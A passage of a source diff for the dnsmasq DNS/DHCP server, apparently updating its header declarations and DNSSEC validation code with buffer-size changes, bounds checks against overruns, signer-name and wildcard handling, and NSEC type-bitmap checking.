#define OPTION_SIZE ( (OPT_LAST/OPTION_BITS)+((OPT_LAST%OPTION_BITS)!=0) )
@@ -479,7 +486,7 @@ struct interface_name {
};
union bigname {
char name[MAXDNAME];
char name[MAXDNAMESTR+1];
union bigname *next; /* freelist */
};
@@ -549,6 +556,7 @@ struct crec {
#define PIPE_OP_STATS 3 /* Update parent's stats */
#define PIPE_OP_IPSET 4 /* Update IPset */
#define PIPE_OP_NFTSET 5 /* Update NFTset */
#define PIPE_OP_KILLED 6 /* child killed by SIGALARM */
/* struct sockaddr is not large enough to hold any address,
and specifically not big enough to hold an IPv6 address.
@@ -715,7 +723,7 @@ struct resolvc {
#endif
};
/* adn-hosts parms from command-line (also dhcp-hostsfile and dhcp-optsfile and dhcp-hostsdir*/
/* addn-hosts parms from command-line (also dhcp-hostsfile and dhcp-optsfile and dhcp-hostsdir*/
#define AH_DIR 1
#define AH_INACTIVE 2
#define AH_WD_DONE 4
@@ -760,10 +768,9 @@ struct dyndir {
#define STAT_NEED_DS 0x40000
#define STAT_NEED_KEY 0x50000
#define STAT_TRUNCATED 0x60000
#define STAT_SECURE_WILDCARD 0x70000
#define STAT_OK 0x80000
#define STAT_ABANDONED 0x90000
#define STAT_ASYNC 0xa0000
#define STAT_OK 0x70000
#define STAT_ABANDONED 0x80000
#define STAT_ASYNC 0x90000
#define DNSSEC_FAIL_NYV 0x0001 /* key not yet valid */
#define DNSSEC_FAIL_EXP 0x0002 /* key expired */
@@ -777,6 +784,7 @@ struct dyndir {
#define DNSSEC_FAIL_NSEC3_ITERS 0x0200 /* too many iterations in NSEC3 */
#define DNSSEC_FAIL_BADPACKET 0x0400 /* bad packet */
#define DNSSEC_FAIL_WORK 0x0800 /* too much crypto */
#define DNSSEC_FAIL_UPSTREAM 0x1000 /* SERVFAIL from UPSTREAM */
#define STAT_ISEQUAL(a, b) (((a) & 0xffff0000) == (b))
@@ -826,6 +834,7 @@ struct frec {
#define OT_CSTRING 0x0800
#define OT_DEC 0x0400
#define OT_TIME 0x0200
#define OT_DHCP6_VENDOR 0x0100
/* actions in the daemon->helper RPC */
#define ACTION_DEL 1
@@ -1109,7 +1118,7 @@ struct ping_result {
struct tftp_file {
int refcount, fd;
off_t size;
off_t size, posn;
dev_t dev;
ino_t inode;
char filename[];
@@ -1117,13 +1126,14 @@ struct tftp_file {
struct tftp_transfer {
int sockfd;
u16 block_hi, ackprev;
time_t retransmit, start;
unsigned int lastack, block, blocksize, windowsize, timeout, expansion;
off_t offset;
union mysockaddr peer;
union all_addr source;
int if_index;
unsigned char opt_blocksize, opt_transize, opt_windowsize, opt_timeout, netascii, carrylf, backoff;
unsigned char opt_blocksize, opt_transize, opt_windowsize, opt_timeout, netascii, carrylf, lastcarrylf, backoff;
struct tftp_file *file;
struct tftp_transfer *next;
};
@@ -1144,10 +1154,12 @@ struct dhcp_relay {
union {
struct in_addr addr4;
struct in6_addr addr6;
} local, server;
} local, server, uplink;
char *interface; /* Allowable interface for replies from server, and dest for IPv6 multicast */
int iface_index; /* working - interface in which requests arrived, for return */
int port; /* Port of relay we forward to. */
int split_mode; /* Split address allocation and relay address. */
int warned, matchcount;
#ifdef HAVE_SCRIPT
struct snoop_record {
struct in6_addr client, prefix;
@@ -1159,7 +1171,7 @@ struct dhcp_relay {
};
extern struct daemon {
/* datastuctures representing the command-line and
/* datastructures representing the command-line and
config file arguments. All set (including defaults)
in option.c */
@@ -1202,6 +1214,7 @@ extern struct daemon {
int log_fac; /* log facility */
char *log_file; /* optional log file */
int max_logs; /* queue limit */
int log_malloc; /* log malloc/realloc/free */
int randport_limit; /* Maximum number of source ports for query. */
int cachesize, ftabsize;
int port, query_port, min_port, max_port;
@@ -1259,15 +1272,18 @@ extern struct daemon {
/* globally used stuff for DNS */
char *packet; /* packet buffer */
int packet_buff_sz; /* size of above */
char *namebuff; /* MAXDNAME size buffer */
char *namebuff; /* MAXDNAMESTR+1 size buffer */
char *workspacename;
#ifdef HAVE_DNSSEC
char *keyname, *cname; /* MAXDNAME size buffer */
char *keyname, *cname; /* MAXDNAMESTR+1 size buffer */
unsigned long *rr_status; /* ceiling in TTL from DNSSEC or zero for insecure */
int rr_status_sz;
int dnssec_no_time_check;
int back_to_the_future;
int limit[LIMIT_MAX];
struct frec *forward_to_tcp;
struct dns_header *header_to_tcp;
ssize_t plen_to_tcp;
#endif
struct frec *frec_list;
struct frec_src *free_frec_src;
@@ -1275,11 +1291,12 @@ extern struct daemon {
struct serverfd *sfds;
struct irec *interfaces;
struct listener *listeners;
struct server *srv_save; /* Used for resend on DoD */
void *srv_save; /* Used for resend on DoD and tftp prefetch */
size_t packet_len; /* " " */
int fd_save; /* " " */
pid_t *tcp_pids;
int *tcp_pipes;
char *tcp_type;
int pipe_to_parent;
int numrrand;
struct randfd *randomsocks;
@@ -1339,7 +1356,7 @@ extern struct daemon {
/* file for packet dumps. */
int dumpfd;
#endif
int max_procs;
int max_procs, dnssec_tcp_slot_reserved;
uint max_procs_used;
} *daemon;
@@ -1453,13 +1470,14 @@ int in_zone(struct auth_zone *zone, char *name, char **cut);
/* dnssec.c */
#ifdef HAVE_DNSSEC
size_t dnssec_generate_query(struct dns_header *header, unsigned char *end, char *name, int class, int id, int type);
size_t dnssec_generate_query(struct dns_header *header, size_t outlen, char *name, int class, int id, int type);
int dnssec_validate_by_ds(time_t now, struct dns_header *header, size_t plen, char *name,
char *keyname, int class, int *validate_count);
int dnssec_validate_ds(time_t now, struct dns_header *header, size_t plen, char *name,
char *keyname, int class, int *validate_count);
int cache_neg_ds(char *name, int flags, int class, time_t now, int neg_ttl);
int dnssec_validate_reply(time_t now, struct dns_header *header, size_t plen, char *name, char *keyname, int *class,
int check_unsigned, int *neganswer, int *nons, int *nsec_ttl, int *validate_count);
int check_unsigned, int *neganswer, int *prim_ok, int *nons, int *nsec_ttl, int *validate_count);
int dnskey_keytag(int alg, int flags, unsigned char *key, int keylen);
size_t filter_rrsigs(struct dns_header *header, size_t plen);
int setup_timestamp(void);
@@ -1474,6 +1492,7 @@ int verify(struct blockdata *key_data, unsigned int key_len, unsigned char *sig,
char *ds_digest_name(int digest);
char *algo_digest_name(int algo);
char *nsec3_digest_name(int digest);
void nettle_digest_wrapper(const struct nettle_hash *hash, void *ctx, size_t length, uint8_t *dst);
/* util.c */
void rand_init(void);
@@ -1483,12 +1502,23 @@ u64 rand64(void);
int rr_on_list(struct rrlist *list, unsigned short rr);
int legal_hostname(char *name);
char *canonicalise(char *in, int *nomem);
unsigned char *do_rfc1035_name(unsigned char *p, char *sval, char *limit);
unsigned char *do_rfc1035_name(unsigned char *p, char *sval, unsigned char *limit);
void *safe_malloc(size_t size);
void safe_strncpy(char *dest, const char *src, size_t size);
void safe_pipe(int *fd, int read_noblock);
void *whine_malloc(size_t size);
void *whine_realloc(void *ptr, size_t size);
#define malloc_log(x, y) malloc_log_real(__func__, __LINE__, (x), (y))
#define whine_malloc(x) whine_malloc_real(__func__, __LINE__, (x))
#define whine_realloc(x, y) whine_realloc_real(NULL, __func__, __LINE__, (x), (y))
#define expand_buf(x, y) expand_buf_real(__func__, __LINE__, (x), (y))
#define expand_workspace(x, y, z) expand_workspace_real(__func__, __LINE__, (x), (y), (z))
#define free(x) free_real(__func__, __LINE__, (x))
void malloc_log_real(const char *func, unsigned int line, void *mem, size_t size);
void free_real(const char *func, unsigned int line, void *ptr);
void *whine_malloc_real(const char *func, unsigned int line, size_t size);
void *whine_realloc_real(const char *wrapper, const char *func, unsigned int line, void *ptr, size_t size);
int expand_buf_real(const char *func, unsigned int line, struct iovec *iov, size_t size);
int expand_workspace_real(const char *func, unsigned int line, unsigned char ***wkspc, int *szp, int new);
int get_line_alloc(FILE *f, char **buffp, size_t *sizep);
int sa_len(union mysockaddr *addr);
int sockaddr_isequal(const union mysockaddr *s1, const union mysockaddr *s2);
int sockaddr_isnull(const union mysockaddr *s);
@@ -1510,9 +1540,9 @@ int parse_hex(char *in, unsigned char *out, int maxlen,
unsigned int *wildcard_mask, int *mac_type);
int memcmp_masked(unsigned char *a, unsigned char *b, int len,
unsigned int mask);
int expand_buf(struct iovec *iov, size_t size);
char *print_mac(char *buff, unsigned char *mac, int len);
char *print_mac(unsigned char *mac, int len);
int read_write(int fd, unsigned char *packet, int size, int rw);
int read_writev(int fd, struct iovec *iov, int iovcnt, int rw);
void close_fds(long max_fd, int spare1, int spare2, int spare3);
int wildcard_match(const char* wildcard, const char* match);
int wildcard_matchn(const char* wildcard, const char* match, int num);
@@ -1555,8 +1585,8 @@ int tcp_from_udp(time_t now, int status, struct dns_header *header, ssize_t *n,
int class, char *name, struct server *server,
int *keycount, int *validatecount);
#endif
unsigned char *tcp_request(int confd, time_t now,
union mysockaddr *local_addr, struct in_addr netmask, int auth_dns);
void tcp_request(int confd, time_t now, struct iovec *bigbuff,
union mysockaddr *local_addr, struct in_addr netmask, int auth_dns);
void server_gone(struct server *server);
int send_from(int fd, int nowild, char *packet, size_t len,
union mysockaddr *to, union all_addr *source,
@@ -1666,6 +1696,9 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
time_t recvtime, struct in_addr leasequery_source);
unsigned char *extended_hwaddr(int hwtype, int hwlen, unsigned char *hwaddr,
int clid_len, unsigned char *clid, int *len_out);
void relay_upstream4(struct in_addr iface_addr, int iface_index,
struct dhcp_packet *mess, size_t sz, int unicast);
unsigned int relay_reply4(struct dhcp_packet *mess, size_t sz, char *arrival_interface);
#endif
/* dnsmasq.c */
@@ -1801,7 +1834,7 @@ void get_client_mac(struct in6_addr *client, int iface, unsigned char *mac,
/* rfc3315.c */
#ifdef HAVE_DHCP6
unsigned short dhcp6_reply(struct dhcp_context *context, int interface, char *iface_name,
unsigned short dhcp6_reply(struct dhcp_context *context, int multicast_dest, int interface, char *iface_name,
struct in6_addr *fallback, struct in6_addr *ll_addr, struct in6_addr *ula_addr,
size_t sz, struct in6_addr *client_addr, time_t now);
int relay_upstream6(int iface_index, ssize_t sz, struct in6_addr *peer_address,
@@ -1884,7 +1917,7 @@ int detect_loop(char *query, int type);
/* inotify.c */
#ifdef HAVE_INOTIFY
void inotify_dnsmasq_init(void);
void inotify_dnsmasq_init(int errfd);
int inotify_check(time_t now);
void set_dynamic_inotify(int flag, int total_size, struct crec **rhash, int revhashsz);
#endif
@@ -1898,7 +1931,6 @@ int do_poll(int timeout);
/* rrfilter.c */
size_t rrfilter(struct dns_header *header, size_t *plen, int mode);
short *rrfilter_desc(int type);
int expand_workspace(unsigned char ***wkspc, int *szp, int new);
int to_wire(char *name);
void from_wire(char *name);
/* modes. */
@@ -1909,10 +1941,11 @@ void from_wire(char *name);
/* edns0.c */
unsigned char *find_pseudoheader(struct dns_header *header, size_t plen,
size_t *len, unsigned char **p, int *is_sign, int *is_last);
size_t add_pseudoheader(struct dns_header *header, size_t plen, unsigned char *limit,
size_t add_pseudoheader(struct dns_header *header, size_t plen, size_t out_size,
int optno, unsigned char *opt, size_t optlen, int set_do, int replace);
size_t add_do_bit(struct dns_header *header, size_t plen, unsigned char *limit);
size_t add_edns0_config(struct dns_header *header, size_t plen, unsigned char *limit,
size_t add_do_bit(struct dns_header *header, size_t plen, size_t outlen);
void edns0_needs_mac(union mysockaddr *addr, time_t now);
size_t add_edns0_config(struct dns_header *header, size_t plen, size_t outlen,
union mysockaddr *source, time_t now, int *cacheable);
int check_source(struct dns_header *header, size_t plen, unsigned char *pseudoheader, union mysockaddr *peer);
@@ -1935,7 +1968,7 @@ int lookup_domain(char *qdomain, int flags, int *lowout, int *highout);
int filter_servers(int seed, int flags, int *lowout, int *highout);
int is_local_answer(time_t now, int first, char *name);
size_t make_local_answer(int flags, int gotname, size_t size, struct dns_header *header,
char *name, char *limit, int first, int last, int ede);
char *name, size_t limit, int first, int last, int ede);
int server_samegroup(struct server *a, struct server *b);
#ifdef HAVE_DNSSEC
int dnssec_server(struct server *server, char *keyname, int is_ds, int *firstp, int *lastp);
+253 -255
View File
@@ -1,5 +1,5 @@
/* dnssec.c is Copyright (c) 2012 Giovanni Bajo <rasky@develer.com>
and Copyright (c) 2012-2025 Simon Kelley
and Copyright (c) 2012-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -144,7 +144,7 @@ static int is_check_date(unsigned long curtime)
Init state->ip with the RR, and state->end with the end of same.
Init state->op to NULL.
Init state->desc to RR descriptor.
Init state->buff with a MAXDNAME * 2 buffer.
Init state->buff with a MAXDNAMESTR+1 buffer.
After each call which returns 1, state->op points to the next byte of data.
On returning 0, the end has been reached.
@@ -177,7 +177,7 @@ static int get_rdata(struct dns_header *header, size_t plen, struct rdata_state
if ((state->c = state->end - state->ip) != 0)
{
state->op = state->ip;
state->ip = state->end;;
state->ip = state->end;
}
else
return 0;
@@ -189,24 +189,28 @@ static int get_rdata(struct dns_header *header, size_t plen, struct rdata_state
if (d == (u16)0)
{
/* domain-name, canonicalise */
int len;
/* If the name is malformed, or runs beyond the end of the RR, abort.
under no circumstances should state->ip be beyond state->end since
that will cause the run-out code above to turn the negative
calculted length into a very large postive value for state->c
and overrun the buffer. */
if (!extract_name(header, plen, &state->ip, state->buff, EXTR_NAME_EXTRACT, 0) ||
(len = to_wire(state->buff)) == 0)
continue;
state->c = len;
state->ip > state->end)
return 0;
/* to_wire() always returns length > 0 */
state->c = to_wire(state->buff);
state->op = (unsigned char *)state->buff;
}
else
{
/* plain data preceding a domain-name, don't run off the end of the data */
if ((state->end - state->ip) < d)
d = state->end - state->ip;
if (d == 0)
continue;
/* Plain data preceding a domain-name.
Handle short RR, if there are no bytes left, return finished. */
if ((state->end - state->ip) < d &&
(d = state->end - state->ip) == 0)
return 0;
state->op = state->ip;
state->c = d;
state->ip += d;
@@ -370,45 +374,42 @@ static int explore_rrset(struct dns_header *header, size_t plen, int class, int
GETSHORT(type_covered, p);
p += 16; /* algo, labels, orig_ttl, sig_expiration, sig_inception, key_tag */
if (gotkey)
if (type_covered == type)
{
/* If there's more than one SIG, ensure they all have same keyname */
if (extract_name(header, plen, &p, keyname, EXTR_NAME_COMPARE, 0) != 1)
if (!extract_name(header, plen, &p, daemon->workspacename, EXTR_NAME_EXTRACT, 0))
return 0;
}
else
{
gotkey = 1;
if (!extract_name(header, plen, &p, keyname, EXTR_NAME_EXTRACT, 0))
return 0;
/* RFC 4035 5.3.1 says that the Signer's Name field MUST equal
the name of the zone containing the RRset. We can't tell that
for certain, but we can check that the RRset name is equal to
or encloses the signers name, which should be enough to stop
an attacker using signatures made with the key of an unrelated
zone he controls. Note that the root key is always allowed. */
if (*keyname != 0)
zone he controls. Note that the root key is always allowed.
Ignore sigs which aren't valid */
if (*daemon->workspacename == 0 || hostname_issubdomain(daemon->workspacename, name) != 0)
{
char *name_start;
for (name_start = name; !hostname_isequal(name_start, keyname); )
if ((name_start = strchr(name_start, '.')))
name_start++; /* chop a label off and try again */
else
return 0;
if (gotkey)
{
/* If there's more than one valid SIG, they must all have same keyname */
if (!hostname_isequal(keyname, daemon->workspacename))
return 0;
}
else
{
strcpy(keyname, daemon->workspacename);
gotkey = 1;
}
if (gotkey)
{
if (!expand_workspace(&sigs, &sig_sz, sigidx))
return 0;
sigs[sigidx++] = pdata;
}
}
}
if (type_covered == type)
{
if (!expand_workspace(&sigs, &sig_sz, sigidx))
return 0;
sigs[sigidx++] = pdata;
}
p = pdata + 6; /* restore for ADD_RDLEN */
}
@@ -438,8 +439,6 @@ int dec_counter(int *counter, char *message)
/* Validate a single RRset (class, type, name) in the supplied DNS reply
Return code:
STAT_SECURE if it validates.
STAT_SECURE_WILDCARD if it validates and is the result of wildcard expansion.
(In this case *wildcard_out points to the "body" of the wildcard within name.)
STAT_BOGUS signature is wrong, bad packet.
STAT_ABANDONED validation abandoned do to excess resource usage.
STAT_NEED_KEY need DNSKEY to complete validation (name is returned in keyname)
@@ -455,7 +454,7 @@ int dec_counter(int *counter, char *message)
ttl_out is the floor on TTL, based on TTL and orig_ttl and expiration of sig used to validate.
*/
static int validate_rrset(time_t now, struct dns_header *header, size_t plen, int class, int type, int sigidx, int rrsetidx,
char *name, char *keyname, char **wildcard_out, struct blockdata *key, int keylen,
char *name, char *keyname, int *wildcard_offset_out, struct blockdata *key, int keylen,
int algo_in, int keytag_in, unsigned long *ttl_out, int *validate_counter)
{
unsigned char *p;
@@ -463,13 +462,15 @@ static int validate_rrset(time_t now, struct dns_header *header, size_t plen, in
struct crec *crecp = NULL;
short *rr_desc = rrfilter_desc(type);
u32 sig_expiration, sig_inception;
int failflags = DNSSEC_FAIL_NOSIG | DNSSEC_FAIL_NYV | DNSSEC_FAIL_EXP | DNSSEC_FAIL_NOKEYSUP;
unsigned long curtime = time(0);
unsigned long curtime = time(0);
int time_check = is_check_date(curtime);
int failflags = DNSSEC_FAIL_NOSIG;
if (wildcard_out)
*wildcard_out = NULL;
if (sigidx != 0)
failflags |= DNSSEC_FAIL_NYV | DNSSEC_FAIL_EXP | DNSSEC_FAIL_NOKEYSUP;
if (wildcard_offset_out)
*wildcard_offset_out = 0;
name_labels = count_labels(name); /* For 4035 5.3.2 check */
@@ -485,7 +486,6 @@ static int validate_rrset(time_t now, struct dns_header *header, size_t plen, in
int i, wire_len, sig_len;
const struct nettle_hash *hash;
void *ctx;
char *name_start;
u32 nsigttl, ttl, orig_ttl;
failflags &= ~DNSSEC_FAIL_NOSIG;
@@ -546,10 +546,14 @@ static int validate_rrset(time_t now, struct dns_header *header, size_t plen, in
*ttl_out = ttl;
}
/* Don't trust rdlen not to be too small and give us a negative sig_len
It has already been checked that it doesn't run us off the end
of the packet. */
if ((sig_len = rdlen - (p - psav)) <= 0)
return STAT_BOGUS;
sig = p;
sig_len = rdlen - (p - psav);
nsigttl = htonl(orig_ttl);
hash->update(ctx, 18, psav);
@@ -571,11 +575,13 @@ static int validate_rrset(time_t now, struct dns_header *header, size_t plen, in
if (!extract_name(header, plen, &p, name, EXTR_NAME_EXTRACT, 10))
return STAT_BOGUS;
name_start = name;
/* if more labels than in RRsig name, hash *.<no labels in rrsig labels field> 4035 5.3.2 */
if (labels < name_labels)
/* If the name is already the wildcard, we're not going to change it. */
if (labels < name_labels &&
!(name_labels - labels == 1 && name[0] == '*' && name[1] == '.'))
{
char *name_start = name;
for (j = name_labels - labels; j != 0; j--)
{
while (*name_start != '.' && *name_start != 0)
@@ -584,15 +590,17 @@ static int validate_rrset(time_t now, struct dns_header *header, size_t plen, in
name_start++;
}
if (wildcard_out)
*wildcard_out = name_start+1;
if (wildcard_offset_out)
*wildcard_offset_out = name_start - name + 1;
name_start--;
*name_start = '*';
/* move our name to the start of the buffer to avoid pathalogical cases over-running the end in to_wire(). */
memmove(name, name_start, strlen(name_start) + 1);
}
wire_len = to_wire(name_start);
hash->update(ctx, (unsigned int)wire_len, (unsigned char *)name_start);
wire_len = to_wire(name);
hash->update(ctx, (unsigned int)wire_len, (unsigned char *)name);
hash->update(ctx, 4, p); /* class and type */
hash->update(ctx, 4, (unsigned char *)&nsigttl);
@@ -657,7 +665,7 @@ static int validate_rrset(time_t now, struct dns_header *header, size_t plen, in
}
}
hash->digest(ctx, hash->digest_size, digest);
nettle_digest_wrapper(hash, ctx, hash->digest_size, digest);
/* namebuff used for workspace above, restore to leave unchanged on exit */
p = (unsigned char*)(rrset[0]);
@@ -687,7 +695,7 @@ static int validate_rrset(time_t now, struct dns_header *header, size_t plen, in
return STAT_ABANDONED;
if (verify(crecp->addr.key.keydata, crecp->addr.key.keylen, sig, sig_len, digest, hash->digest_size, algo))
return (labels < name_labels) ? STAT_SECURE_WILDCARD : STAT_SECURE;
return STAT_SECURE;
/* An attacker can waste a lot of our CPU by setting up a giant DNSKEY RRSET full of failing
keys, all of which we have to try. Since many failing keys is not likely for
@@ -837,7 +845,7 @@ int dnssec_validate_by_ds(time_t now, struct dns_header *header, size_t plen, ch
rather then O(keys x DSs) */
hash->update(ctx, (unsigned int)wire_len, (unsigned char *)name);
hash->update(ctx, (unsigned int)rdlen, psave);
hash->digest(ctx, hash->digest_size, digest);
nettle_digest_wrapper(hash, ctx, hash->digest_size, digest);
from_wire(name);
@@ -951,10 +959,7 @@ int dnssec_validate_by_ds(time_t now, struct dns_header *header, size_t plen, ch
a.log.keytag = keytag;
a.log.algo = algo;
if (algo_digest_name(algo))
log_query(F_NOEXTRA | F_KEYTAG | F_UPSTREAM, name, &a, "DNSKEY keytag %hu, algo %hu", 0);
else
log_query(F_NOEXTRA | F_KEYTAG | F_UPSTREAM, name, &a, "DNSKEY keytag %hu, algo %hu (not supported)", 0);
log_query(F_NOEXTRA | F_KEYTAG | F_UPSTREAM, name, &a, "DNSKEY keytag %hu, algo %hu", !algo_digest_name(algo));
}
}
@@ -992,7 +997,7 @@ int dnssec_validate_ds(time_t now, struct dns_header *header, size_t plen, char
char *keyname, int class, int *validate_counter)
{
unsigned char *p = (unsigned char *)(header+1);
int qtype, qclass, rc, i, neganswer = 0, nons = 0, servfail = 0, neg_ttl = 0, found_supported = 0;
int qtype, qclass, rc, i, neganswer = 0, prim_ok = 0, nons = 0, servfail = 0, neg_ttl = 0, found_supported = 0;
int aclass, atype, rdlen, flags;
unsigned long ttl;
union all_addr a;
@@ -1003,7 +1008,7 @@ int dnssec_validate_ds(time_t now, struct dns_header *header, size_t plen, char
if (RCODE(header) == SERVFAIL)
servfail = neganswer = nons = 1;
else
rc = dnssec_validate_reply(now, header, plen, name, keyname, NULL, 0, &neganswer, &nons, &neg_ttl, validate_counter);
rc = dnssec_validate_reply(now, header, plen, name, keyname, NULL, 0, &neganswer, &prim_ok, &nons, &neg_ttl, validate_counter);
p = (unsigned char *)(header+1);
if (ntohs(header->qdcount) != 1 ||
@@ -1018,29 +1023,41 @@ int dnssec_validate_ds(time_t now, struct dns_header *header, size_t plen, char
if (!servfail)
{
/* If the answer carries no proof of non-existence, we fall back to asking if the
zone is unsigned, but that question is answered by the very DS record we're
chasing here, so we'd loop getting nowhere. Treat the zone as unsigned and let
the checks below decide if that's acceptable. */
if (STAT_ISEQUAL(rc, STAT_NEED_DS) && hostname_isequal(name, keyname))
rc = STAT_INSECURE;
if (STAT_ISEQUAL(rc, STAT_INSECURE))
{
if (option_bool(OPT_BOGUSPRIV) &&
(flags = in_arpa_name_2_addr(name, &a)) &&
((flags == F_IPV6 && private_net6(&a.addr6, 0)) || (flags == F_IPV4 && private_net(a.addr4, 0))))
/* A INSECURE DS answer is OK if it's negative and there's a CNAME answer to the DS answer which is
signed, since that's enough to prove that the DS record doesn't exist. */
if (!neganswer || !prim_ok)
{
my_syslog(LOG_INFO, _("Insecure reply received for DS %s, assuming that's OK for a RFC-1918 address."), name);
neganswer = 1;
nons = 0; /* If we're faking a DS, fake one with an NS. */
neg_ttl = DNSSEC_ASSUMED_DS_TTL;
}
else if (lookup_domain(name, F_DOMAINSRV, NULL, NULL))
{
my_syslog(LOG_INFO, _("Insecure reply received for DS %s, assuming non-DNSSEC domain-specific server."), name);
neganswer = 1;
nons = 0; /* If we're faking a DS, fake one with an NS. */
neg_ttl = DNSSEC_ASSUMED_DS_TTL;
}
else
{
my_syslog(LOG_WARNING, _("Insecure DS reply received for %s, check domain configuration and upstream DNS server DNSSEC support"), name);
log_query(F_NOEXTRA | F_UPSTREAM, name, NULL, "BOGUS DS - not secure", 0);
return STAT_BOGUS | DNSSEC_FAIL_INDET;
if (option_bool(OPT_BOGUSPRIV) &&
(flags = in_arpa_name_2_addr(name, &a)) &&
((flags == F_IPV6 && private_net6(&a.addr6, 0)) || (flags == F_IPV4 && private_net(a.addr4, 0))))
{
my_syslog(LOG_INFO, _("insecure reply received for DS %s, assuming that's OK for a RFC-1918 address"), name);
neganswer = 1;
nons = 0; /* If we're faking a DS, fake one with an NS. */
neg_ttl = DNSSEC_ASSUMED_DS_TTL;
}
else if (lookup_domain(name, F_DOMAINSRV, NULL, NULL))
{
my_syslog(LOG_INFO, _("insecure reply received for DS %s, assuming non-DNSSEC domain-specific server"), name);
neganswer = 1;
nons = 0; /* If we're faking a DS, fake one with an NS. */
neg_ttl = DNSSEC_ASSUMED_DS_TTL;
}
else
{
my_syslog(LOG_WARNING, _("insecure DS reply received for %s, check domain configuration and upstream DNS server DNSSEC support"), name);
log_query(F_NOEXTRA | F_UPSTREAM, name, NULL, "BOGUS DS - not secure", 0);
return STAT_BOGUS | DNSSEC_FAIL_INDET;
}
}
}
else
@@ -1097,7 +1114,7 @@ int dnssec_validate_ds(time_t now, struct dns_header *header, size_t plen, char
a.log.keytag = keytag;
a.log.algo = algo;
a.log.digest = digest;
log_query(F_NOEXTRA | F_KEYTAG | F_UPSTREAM, name, &a, "DS for keytag %hu, algo %hu, digest %hu (not supported)", 0);
log_query(F_NOEXTRA | F_KEYTAG | F_UPSTREAM, name, &a, "DS for keytag %hu, algo %hu, digest %hu", 1);
neg_ttl = ttl;
}
else if ((key = blockdata_alloc((char*)p, rdlen - 4)))
@@ -1137,44 +1154,47 @@ int dnssec_validate_ds(time_t now, struct dns_header *header, size_t plen, char
}
flags = F_FORWARD | F_DS | F_NEG | F_DNSSECOK;
if (neganswer)
{
if (RCODE(header) == NXDOMAIN)
flags |= F_NXDOMAIN;
/* We only cache validated DS records, DNSSECOK flag hijacked
to store presence/absence of NS. */
if (nons)
{
if (lookup_domain(name, F_DOMAINSRV, NULL, NULL))
{
my_syslog(LOG_WARNING, _("Negative DS reply without NS record received for %s, assuming non-DNSSEC domain-specific server."), name);
my_syslog(LOG_WARNING, _("negative DS reply without NS record received for %s, assuming non-DNSSEC domain-specific server"), name);
nons = 0;
neg_ttl = DNSSEC_ASSUMED_DS_TTL;
}
else
/* We only cache validated DS records, DNSSECOK flag hijacked
to store presence/absence of NS. */
flags &= ~F_DNSSECOK;
}
log_query(F_NOEXTRA | F_UPSTREAM, name, NULL,
servfail ? "SERVFAIL" : (nons ? "no DS/cut" : "no DS"), 0);
}
return cache_neg_ds(name, flags, class, now, neg_ttl);
}
int cache_neg_ds(char *name, int flags, int class, time_t now, int ttl)
{
cache_start_insert();
/* Use TTL from NSEC for negative cache entries */
if (!cache_insert(name, NULL, class, now, neg_ttl, flags))
if (!cache_insert(name, NULL, class, now, ttl, flags))
return STAT_ABANDONED;
cache_end_insert();
if (neganswer)
log_query(F_NOEXTRA | F_UPSTREAM, name, NULL,
servfail ? "SERVFAIL" : (nons ? "no DS/cut" : "no DS"), 0);
return STAT_OK;
}
/* 4034 6.1 */
static int hostname_cmp(const char *a, const char *b)
{
@@ -1239,15 +1259,23 @@ static int hostname_cmp(const char *a, const char *b)
}
}
static int check_type_bitmap(unsigned char *p, int type)
{
int offset = (type & 0xff) >> 3;
if (p[0] == type >> 8 && p[1] > offset && (p[offset + 2] & (0x80 >> (type & 0x07))))
return 1;
return 0;
}
/* returns 0 on success, or DNSSEC_FAIL_* value on failure. */
static int prove_non_existence_nsec(struct dns_header *header, size_t plen, unsigned char **nsecs, unsigned char **labels, int nsec_count,
char *workspace1_in, char *workspace2, char *name, int type, int *nons)
{
int i, rc, rdlen;
unsigned char *p, *psave;
int offset = (type & 0xff) >> 3;
int mask = 0x80 >> (type & 0x07);
if (nons)
*nons = 1;
@@ -1291,17 +1319,6 @@ static int prove_non_existence_nsec(struct dns_header *header, size_t plen, unsi
/* rdlen is now length of type map, and p points to it
packet checked to be as long as rdlen implies in prove_non_existence() */
/* check that the first typemap is complete. */
if (rdlen < 2 || rdlen < p[1] + 2)
return DNSSEC_FAIL_BADPACKET;
/* RFC 6672 5.3.4.1. */
#define DNAME_OFFSET (T_DNAME >> 3)
#define DNAME_MASK (0x80 >> (T_DNAME & 0x07))
if (p[0] == 0 && (p[1] >= DNAME_OFFSET + 1) && (p[2 + DNAME_OFFSET] & DNAME_MASK) != 0 &&
hostname_issubdomain(name, workspace1) == 1)
return DNSSEC_FAIL_NONSEC;
rc = hostname_cmp(workspace1, name);
if (rc == 0)
@@ -1310,42 +1327,37 @@ static int prove_non_existence_nsec(struct dns_header *header, size_t plen, unsi
if (type == T_NSEC || type == T_RRSIG)
return 0;
/* NSEC with the same name as the RR we're testing, check
that the type in question doesn't appear in the type map */
if (p[0] == 0 && p[1] >= 1)
{
/* If we can prove that there's no NS record, return that information. */
if (nons && (p[2] & (0x80 >> T_NS)) != 0)
*nons = 0;
/* A CNAME answer would also be valid, so if there's a CNAME is should
have been returned. */
if ((p[2] & (0x80 >> T_CNAME)) != 0)
return DNSSEC_FAIL_NONSEC;
/* If the SOA bit is set for a DS record, then we have the
DS from the wrong side of the delegation. For the root DS,
this is expected. */
if (name_labels != 0 && type == T_DS && (p[2] & (0x80 >> T_SOA)) != 0)
return DNSSEC_FAIL_NONSEC;
}
while (rdlen > 0)
{
if (rdlen < 2 || rdlen < p[1] + 2)
return DNSSEC_FAIL_BADPACKET;
if (p[0] == type >> 8)
{
/* Does the NSEC say our type exists? */
if (offset < p[1] && (p[offset+2] & mask) != 0)
return DNSSEC_FAIL_NONSEC;
break; /* finished checking */
}
/* If we can prove that there's no NS record, return that information. */
if (nons && check_type_bitmap(p, T_NS))
*nons = 0;
rdlen -= p[1];
p += p[1];
/* NSEC with the same name as the RR we're testing, check
that the type in question doesn't appear in the type map */
if (check_type_bitmap(p, type))
return DNSSEC_FAIL_NONSEC;
/* A CNAME answer would also be valid, so if there's a CNAME it should
have been returned. */
if (check_type_bitmap(p, T_CNAME))
return DNSSEC_FAIL_NONSEC;
/* If the SOA bit is set for a DS record, then we have the
DS from the wrong side of the delegation. For the root DS,
this is expected. */
if (name_labels != 0 && type == T_DS && check_type_bitmap(p, T_SOA))
return DNSSEC_FAIL_NONSEC;
/* RFC 6672 5.3.4.1. */
